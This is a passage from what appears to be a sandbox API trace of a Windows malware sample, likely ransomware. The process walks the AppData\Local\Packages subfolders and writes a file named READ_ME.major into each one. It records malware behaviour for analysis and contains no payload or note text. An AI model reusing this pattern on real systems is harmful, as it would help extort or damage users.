ftLastAccessTime.dwLowDateTime=0xc99b7ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x509d4298, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.281] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.281] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.282] CloseHandle (hObject=0x864) returned 1 [0182.282] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50915689, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b882e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50915689, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.282] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.283] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.283] CloseHandle (hObject=0x864) returned 1 [0182.283] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b8f2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.284] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.285] CloseHandle (hObject=0x864) returned 1 [0182.285] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fcebd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fcebd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.285] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b960c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.285] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.286] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.287] CloseHandle (hObject=0x864) returned 1 [0182.287] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5093b894, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7114efb2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.287] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.718] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.718] CloseHandle (hObject=0x864) returned 1 [0182.719] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x120fb2e2, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x120fb2e2, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x120fb2e2, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.719] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.720] CloseHandle (hObject=0x864) returned 1 [0182.720] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9a80b26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.720] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0182.721] WriteFile (in: hFile=0x864, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.722] CloseHandle (hObject=0x864) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x58e6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9a80b26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.722] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e2b8 [0182.722] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6420df31, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x30fa3191, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30fa3191, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.722] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.723] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.724] CloseHandle (hObject=0x868) returned 1 [0182.724] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a95d68a, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad6eef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a95d68a, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.724] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.725] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.726] CloseHandle (hObject=0x868) returned 1 [0182.726] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a937435, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad762a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a937435, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.726] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.726] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.727] CloseHandle (hObject=0x868) returned 1 [0182.727] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad7ee5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a89eb27, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.728] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.728] CloseHandle (hObject=0x868) returned 1 [0182.728] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fcebd4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21fcebd4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.728] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a8c4d57, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad883d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a8c4d57, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.729] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.730] CloseHandle (hObject=0x868) returned 1 [0182.730] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a95d68a, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71175214, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71175214, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.730] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.801] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.802] CloseHandle (hObject=0x868) returned 1 [0182.802] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd411e595, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd411e595, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd411e595, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.802] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.803] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.803] CloseHandle (hObject=0x868) returned 1 [0182.803] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a9111e7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9b69471, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a9111e7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0182.804] WriteFile (in: hFile=0x868, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.805] CloseHandle (hObject=0x868) returned 1 [0182.805] FindNextFileW (in: hFindFile=0x58e2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a9111e7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9b69471, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a9111e7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.805] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80471ab5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e778 [0182.805] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80471ab5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21fcebd4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.805] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3129e0a6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3129e0a6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.805] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0182.893] WriteFile (in: hFile=0x86c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0183.652] CloseHandle (hObject=0x86c) returned 1 [0183.652] FindNextFileW (in: hFindFile=0x58e778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6282d938, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1f501, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6282d938, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0183.652] CreateFileW 